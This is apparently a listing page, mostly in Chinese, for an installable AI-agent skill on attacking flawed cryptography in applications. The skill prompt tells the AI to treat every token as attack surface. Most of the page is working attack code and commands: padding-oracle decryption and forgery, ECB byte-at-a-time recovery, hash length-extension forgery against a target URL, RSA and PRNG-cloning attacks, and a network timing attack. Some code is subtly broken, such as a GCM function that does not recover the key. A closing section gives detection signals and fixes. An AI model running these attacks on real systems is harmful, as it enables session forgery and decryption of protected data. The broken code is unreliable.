关于 offensive-crypto-attacks
面向授权安全测试的密码实现攻击技能,聚焦应用误用密码算法所产生的弱点。内容涵盖攻击流程、工具、检测信号与修复建议。
主要功能
- 01填充预言和 ECB 攻击
- 02哈希长度扩展分析
- 03RSA 弱点评估
- 04伪随机数与时序攻击
- 05AES-GCM nonce 重用分析
- 06防御信号与修复建议
适用场景
- 01评估加密 Cookie 和令牌
- 02测试 MAC 与 RSA 实现
- 03检查会话令牌随机数生成
- 04记录发现与缓解措施
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-crypto-attacks安装后在 Claude Code 中输入/offensive-crypto-attacks确认已加载。
详细介绍
密码学实现攻击
你正在对目标应用进行进攻性密码分析。本技能涵盖有缺陷的密码学实现的识别与利用——攻击的不是底层数学原语,而是开发者误用这些原语的方式。你应将每个加密数据块、签名令牌和哈希值都视为潜在攻击面。
快速工作流
- 找出密码学相关入口——Cookie、令牌、API 参数、存储的凭据、签名 URL。
- 确定算法和模式——测量密文长度变化、检测分组对齐情况、检查是否存在 Base64/十六进制编码层。
- 判断漏洞类型——填充预言机、ECB 确定性、弱 MAC 构造、RSA 参数弱点、PRNG 可预测性。
- 选择并配置合适的工具或自定义脚本。
- 执行攻击,解密或伪造目标值。
- 记录密码学弱点、根本原因及修复方案。
填充预言机攻击
填充预言机攻击利用这样的系统:它会透露 CBC 模式解密后的明文是否具有有效的 PKCS7 填充。只需一位信息——填充有效或无效——就足以解密任意密文块,或在不知道密钥的情况下伪造任意明文。
通过提交经过修改的密文并观察响应差异,识别预言机。预言机可能表现为不同的 HTTP 状态码、不同的错误消息、时间差异,或应用逻辑中的行为变化。
使用 padbuster 对 Web 应用进行自动化攻击:
# Decrypt an encrypted cookie value
# URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
-cookies "session=EncryptedValue" \
-encoding 0 \
-error "invalid"
# Forge a new plaintext value using the discovered oracle
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
-cookies "session=EncryptedValue" \
-encoding 0 \
-error "invalid" \
-plaintext "admin=true;user=attacker"
当 padbuster 无法处理目标的编码或传输方式时,编写自定义填充预言机攻击脚本:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import requests
import struct
def oracle(iv, ciphertext, url):
"""Return True if the server accepts the padding."""
payload = (iv + ciphertext).hex()
resp = requests.get(url, params={"data": payload})
return resp.status_code != 500 # Adapt to your oracle signal
def decrypt_block(prev_block, cipher_block, url, block_size=16):
"""Decrypt a single block via Vaudenay's attack."""
intermediate = bytearray(block_size)
plaintext = bytearray(block_size)
for byte_pos in range(block_size - 1, -1, -1):
pad_val = block_size - byte_pos
crafted_iv = bytearray(block_size)
# Set already-recovered bytes to produce correct padding
for k in range(byte_pos + 1, block_size):
crafted_iv[k] = intermediate[k] ^ pad_val
for guess in range(256):
crafted_iv[byte_pos] = guess
if oracle(bytes(crafted_iv), cipher_block, url):
# Handle the ambiguity on the last byte
if byte_pos == block_size - 1:
crafted_iv[byte_pos - 1] ^= 1
if not oracle(bytes(crafted_iv), cipher_block, url):
continue
intermediate[byte_pos] = guess ^ pad_val
plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
break
return bytes(plaintext)
ECB 分组操纵
ECB 模式使用同一密钥独立加密每个分组,因此相同的明文分组会产生相同的密文。这种确定性带来了两类主要攻击:剪切并粘贴式分组重排,以及逐字节解密。
通过加密重复明文并检查是否存在重复密文分组,检测 ECB 模式:
def detect_ecb(ciphertext, block_size=16):
"""Detect ECB mode by finding duplicate blocks."""
blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
return len(blocks) != len(set(blocks))
# Probe an encryption oracle for ECB
# Send 3 blocks of identical bytes -- if 2+ output blocks match, it is ECB
probe = b"A" * (block_size * 3)
ciphertext = encryption_oracle(probe)
if detect_ecb(ciphertext):
print("ECB mode confirmed")
针对会在加密前将秘密附加到输入末尾的预言机,执行逐字节解密:
def byte_at_a_time_ecb(oracle_func, block_size=16):
"""Recover secret appended by an ECB encryption oracle."""
recovered = b""
# Determine the total secret length
baseline_len = len(oracle_func(b""))
for i in range(baseline_len):
block_index = (len(recovered)) // block_size
# Craft input so the target byte is the last byte of a block
pad_len = block_size - 1 - (len(recovered) % block_size)
padding = b"A" * pad_len
# Get the target block
target_ct = oracle_func(padding)
target_block = target_ct[block_index * block_size:(block_index + 1) * block_size]
# Brute-force the unknown byte
for byte_val in range(256):
test_input = padding + recovered + bytes([byte_val])
test_ct = oracle_func(test_input)
test_block = test_ct[block_index * block_size:(block_index + 1) * block_size]
if test_block == target_block:
recovered += bytes([byte_val])
break
return recovered
ECB 剪切并粘贴攻击会重排密文分组,以生成包含攻击者控制内容的有效明文。目标是这类系统:系统使用 ECB 加密结构化数据(JSON、键值对、序列化对象),且攻击者可以控制部分输入。
哈希长度扩展
当应用使用 Merkle-Damgard 哈希(MD5、SHA1、SHA256)将 MAC 计算为 H(secret || message) 时,你可以向消息追加数据并计算出有效 MAC,而无需知道秘密。你只需要原始 MAC、消息和秘密长度(或一段可用于暴力破解的长度范围)。
使用 hashpump 伪造扩展后的消息:
# hashpumpy Python bindings
pip install hashpumpy
# Forge an extended hash
# Original signature, original data, data to append, key length
hashpump -s "original_mac_hex" \
-d "original_data" \
-a "&admin=true" \
-k 16
import hashpumpy
import requests
original_mac = "a1b2c3d4e5f6..."
original_data = "user=guest&expire=2025"
append_data = "&admin=true"
# Try key lengths from 8 to 32
for key_len in range(8, 33):
new_mac, new_data = hashpumpy.hashpump(
original_mac, original_data, append_data, key_len
)
# Submit the forged request
resp = requests.get(
f"http://target.com/api?data={new_data.hex()}&mac={new_mac}"
)
if resp.status_code == 200 and "admin" in resp.text:
print(f"Key length: {key_len}")
print(f"Forged MAC: {new_mac}")
break
HMAC 构造(H(key XOR opad || H(key XOR ipad || message)))不受长度扩展攻击影响。如果确认系统使用了 HMAC,请转向其他攻击途径。
RSA 攻击
RSA 实现往往会以可预测的方式失效。攻击填充方案之前,先检查数学参数。
使用 RsaCtfTool 自动分析 RSA:
# Attack a public key directly
RsaCtfTool --publickey pubkey.pem --private
# Decrypt a ciphertext with a known weak key
RsaCtfTool --publickey pubkey.pem --uncipherfile ciphertext.bin
# Attack multiple keys for common factor (shared prime)
RsaCtfTool --publickey "key1.pem,key2.pem" --private
# Specific attack selection
RsaCtfTool --publickey pubkey.pem --attack wiener
RsaCtfTool --publickey pubkey.pem --attack smallq
RsaCtfTool --publickey pubkey.pem --attack fermat
当明文足够短,使 m^e < n 时,利用较小的公钥指数(e=3):
from Crypto.PublicKey import RSA
from gmpy2 import iroot
def small_exponent_attack(ciphertext_int, e, n):
"""When m^e < n, the ciphertext is simply m^e with no modular reduction."""
plaintext_int, is_perfect = iroot(ciphertext_int, e)
if is_perfect:
return int(plaintext_int).to_bytes(
(int(plaintext_int).bit_length() + 7) // 8, 'big'
)
return None
# Hastad's broadcast attack: same message encrypted with e=3 to 3 recipients
def hastad_broadcast(ciphertexts, moduli, e=3):
"""CRT-based recovery when the same message is sent to e recipients."""
from functools import reduce
N = reduce(lambda a, b: a * b, moduli)
result = 0
for ci, ni in zip(ciphertexts, moduli):
Ni = N // ni
_, mi, _ = gmpy2.gcdext(Ni, ni)
result += ci * Ni * int(mi)
result = result % N
plaintext, _ = iroot(result, e)
return int(plaintext).to_bytes((int(plaintext).bit_length() + 7) // 8, 'big')
Bleichenbacher 攻击针对 RSA PKCS#1 v1.5 填充。任何能区分解密后有效与无效 PKCS#1 v1.5 填充的系统都可能成为预言机。这包括返回不同警报的 TLS 服务端、返回不同错误码的 API,以及错误处理中的时间差异。该攻击大约需要 2^20 次预言机查询才能恢复明文。
Coppersmith 方法可在已知部分信息时,恢复 RSA 明文中较小的未知部分或分解因数。使用 SageMath 进行格计算:
# SageMath: recover high bits of a factor
# If you know the top bits of p, Coppersmith finds the rest
n = <modulus>
p_approx = <known_high_bits_of_p>
P.<x> = PolynomialRing(Zmod(n))
f = p_approx + x
roots = f.small_roots(X=2^64, beta=0.5) # X bounds the unknown portion
if roots:
p = p_approx + int(roots[0])
q = n // p
print(f"p = {p}")
print(f"q = {q}")
弱 PRNG 利用
从可预测来源(时间戳、PID、低熵池)为随机数生成器设定种子的应用会产生可预测的输出。
从连续 624 个 32 位输出中恢复 MT19937(Mersenne Twister)内部状态:
def untemper(y):
"""Reverse the MT19937 tempering transform."""
# Reverse: y ^= y >> 18
y ^= y >> 18
# Reverse: y ^= (y << 15) & 0xEFC60000
y ^= (y << 15) & 0xEFC60000
# Reverse: y ^= (y << 7) & 0x9D2C5680 (iterative)
tmp = y
for _ in range(7):
tmp = y ^ ((tmp << 7) & 0x9D2C5680)
y = tmp
# Reverse: y ^= y >> 11 (iterative)
tmp = y
for _ in range(3):
tmp = y ^ (tmp >> 11)
y = tmp
return y
def clone_mt19937(outputs_624):
"""Clone MT19937 state from exactly 624 observed 32-bit outputs."""
import random
mt_state = [untemper(o) for o in outputs_624]
# Reconstruct the state tuple: (3, tuple(624 ints + index), None)
state = (3, tuple(mt_state + [624]), None)
cloned = random.Random()
cloned.setstate(state)
return cloned
# Predict all future outputs
cloned_rng = clone_mt19937(observed_outputs)
next_token = cloned_rng.getrandbits(32)
通过缩小种子范围来利用基于时间设定种子的 PRNG:
import random
import time
def brute_force_time_seed(known_output, time_window_start, time_window_end):
"""Recover the seed when random.seed() was called with int(time.time())."""
for seed in range(int(time_window_start), int(time_window_end)):
rng = random.Random(seed)
if rng.getrandbits(32) == known_output:
return seed
return None
计时侧信道攻击
计时攻击利用加密比较中依赖数据的执行时间。经典目标是逐字节比较 MAC、令牌或密码的字符串。
import requests
import time
import statistics
def timing_attack_mac(url, known_prefix, charset, samples=20):
"""Recover a MAC byte-by-byte via timing side-channel."""
best_byte = None
best_time = 0
for candidate in charset:
test_mac = known_prefix + candidate + "\x00" * (32 - len(known_prefix) - 1)
times = []
for _ in range(samples):
start = time.perf_counter_ns()
requests.get(url, params={"mac": test_mac})
elapsed = time.perf_counter_ns() - start
times.append(elapsed)
median = statistics.median(times)
if median > best_time:
best_time = median
best_byte = candidate
return known_prefix + best_byte
# Statistical enhancement: use percentile comparison to reduce noise
# Network jitter requires 50-100+ samples per candidate in practice
AES-GCM Nonce 重用
AES-GCM 重用 nonce 会造成灾难性后果。使用相同密钥重用 nonce 会导致认证密钥(GHASH 密钥 H)被恢复,并可解密异或后的明文以及伪造认证标签。
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long
import struct
def exploit_gcm_nonce_reuse(ct1, tag1, aad1, ct2, tag2, aad2, nonce):
"""
Given two ciphertexts encrypted under the same key and nonce,
recover the GHASH key H and forge tags for arbitrary messages.
XOR of ciphertexts yields XOR of plaintexts.
"""
# Recover plaintext XOR
xor_plaintexts = bytes(a ^ b for a, b in zip(ct1, ct2))
# Recover GHASH key H from the tag polynomial relationship
# tag1 = GHASH(H, aad1, ct1) XOR E(K, nonce||0^31||1)
# tag2 = GHASH(H, aad2, ct2) XOR E(K, nonce||0^31||1)
# tag1 XOR tag2 = GHASH(H, aad1, ct1) XOR GHASH(H, aad2, ct2)
# This yields a polynomial in H over GF(2^128)
# The polynomial root gives H; use SageMath or a GF(2^128) library
# for the actual field arithmetic
print(f"Plaintext XOR: {xor_plaintexts.hex()}")
print("Solve the GHASH polynomial in GF(2^128) to recover H")
return xor_plaintexts
密钥派生弱点
针对工作因子不足的基于密码的密钥派生:
import hashlib
import itertools
# Weak KDF: single SHA-256 iteration, no salt
def crack_weak_kdf(target_key_hex, wordlist_path):
"""Crack a key derived via single-pass SHA-256 of a password."""
target = bytes.fromhex(target_key_hex)
with open(wordlist_path, 'r') as f:
for word in f:
word = word.strip()
derived = hashlib.sha256(word.encode()).digest()
if derived == target:
return word
return None
# Detect weak PBKDF2 iteration counts
def check_pbkdf2_strength(iterations, algorithm="sha256"):
"""Flag insufficient PBKDF2 parameters per OWASP 2024 guidance."""
minimums = {
"sha1": 1_300_000,
"sha256": 600_000,
"sha512": 210_000,
}
minimum = minimums.get(algorithm, 600_000)
if iterations < minimum:
print(f"WEAK: {iterations} iterations of PBKDF2-{algorithm}")
print(f"Minimum recommended: {minimum}")
return False
return True
检测 / 防御者视角
防御者应监控以下加密攻击迹象:
- 填充预言探测:向同一端点发送大量请求,并逐步修改密文参数。留意数百个连续请求中仅有一个字节变化的请求模式。对针对加密输入返回二元通过/失败结果的端点发出警报。
- ECB 探测:向加密端点提交包含长串重复字符(16 个或更多相同字节)的请求。
- 哈希长度扩展:URL 参数或 Cookie 在本应为可打印文本的位置包含空字节(
%00)。消息正文长度超出预期,且带有填充痕迹。 - RSA 参数收集:反复请求公钥端点、下载证书或枚举 TLS 握手。
- 计时攻击:针对身份验证或 MAC 验证端点的请求模式异常,并发量高。对响应时间分布进行统计分析,发现阶梯状模式。
- Nonce 重用:监控加密操作中的计数器重置或 nonce 冲突。将抗 nonce 误用的 AEAD 模式(AES-GCM-SIV、XChaCha20-Poly1305)作为纵深防御。
修复优先级:从 CBC 迁移到认证加密(AES-GCM、ChaCha20-Poly1305),使用 HMAC 替代 H(secret||message),强制使用带 OAEP 填充的至少 2048 位 RSA 密钥,使用密码学安全的 RNG(secrets 模块、/dev/urandom),对所有机密值实施恒定时间比较,并强制采用 OWASP 推荐的 PBKDF2 迭代次数,或迁移到 Argon2id。
测试速查表
| 目标 | 工具 / 技术 | 第一步 |
|---|---|---|
| 加密 Cookie(CBC) | padbuster | 修改最后一个字节,观察响应差异 |
| 加密令牌(ECB) | 自定义 Python | 发送重复块,检查是否重复 |
| MAC = H(secret+msg) | hashpumpy | 确认 Merkle-Damgard 哈希,尝试扩展 |
| RSA 公钥 | RsaCtfTool | 提取 n 和 e,检查密钥大小和因子 |
| 会话令牌(PRNG) | 自定义 Python | 收集 624 个以上输出,克隆 MT 状态 |
| 身份验证端点 | 计时脚本 | 测量每个字节位置的响应时间 |
| AES-GCM 加密 API | 自定义 Python / SageMath | 检测捕获的消息之间是否重用了 nonce |
| 密码派生密钥 | hashcat / 自定义脚本 | 识别 KDF,检查迭代次数 |
密文识别经验法则:
- 长度是 8 字节的倍数:可能是 CBC/ECB 模式下的 DES/3DES。
- 长度是 16 字节的倍数:可能是 CBC/ECB 模式下的 AES。
- 长度为明文 + 16 字节(标签):可能是 AES-GCM。
- 无论输入如何,输出长度固定:可能是哈希,而非加密。
关键参考资料
- Vaudenay,S.《CBC 填充导致的安全漏洞》。EUROCRYPT 2002。
- Bleichenbacher,D.《针对基于 RSA 加密标准 PKCS#1 的协议的选择密文攻击》。CRYPTO 1998。
- Duong,T. 和 Rizzo,J.《实用填充预言机攻击》。USENIX WOOT 2010。
- Coppersmith,D.《多项式方程的小解与低指数 RSA 漏洞》。Journal of Cryptology,1997。
- Joux,A.《NIST 版本 GCM 中的认证失效》。NIST 评论,2006。
- CWE-327:使用已损坏或存在风险的加密算法。
- CWE-328:使用弱哈希。
- CWE-330:使用随机性不足的值。
- OWASP 密码存储备忘单(PBKDF2/Argon2id 迭代次数指南)。
- RsaCtfTool:https://github.com/RsaCtfTool/RsaCtfTool
- padbuster:https://github.com/AonCyberLabs/PadBuster
- hashpumpy:https://github.com/bwall/HashPump